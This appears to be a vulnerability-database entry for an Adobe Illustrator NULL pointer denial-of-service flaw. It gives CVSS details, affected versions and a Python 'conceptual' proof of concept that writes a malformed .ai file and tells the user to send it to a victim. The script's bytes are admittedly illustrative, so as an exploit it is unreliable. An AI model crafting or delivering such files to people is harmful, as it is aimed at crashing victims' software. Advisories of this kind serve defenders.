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CVE-2026-34662 CVSS 5.5 MEDIUM

CVE-2026-34662

Published: 2026-05-12 18:17:11
Last Modified: 2026-05-12 19:15:51

Description

Illustrator versions 29.8.6, 30.3 and earlier are affected by a NULL Pointer Dereference vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:adobe:illustrator:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:adobe:illustrator:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Adobe Illustrator <= 29.8.6
Adobe Illustrator <= 30.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-34662 (Conceptual) # This script demonstrates the creation of a file designed to trigger the crash. # Specific byte patterns are illustrative. def create_malicious_illustrator_file(filename): # In a real exploit, this structure would contain specific malformed headers # or object references that cause Illustrator to dereference a null pointer. # Example: Malformed header that bypasses initial checks but fails later header = b'\x25\x50\x44\x46\x00\x00\x00\x00' # Fake PDF/AI header # Malformed block simulating a null object reference null_ref_block = b'\x00\x00\x00\x00' * 100 with open(filename, 'wb') as f: f.write(header + null_ref_block) print(f"[+] Malicious file generated: {filename}") print("[*] Delivery: Send file to victim and wait for them to open in Illustrator.") if __name__ == "__main__": create_malicious_illustrator_file('cve_2026_34662_poc.ai')

References

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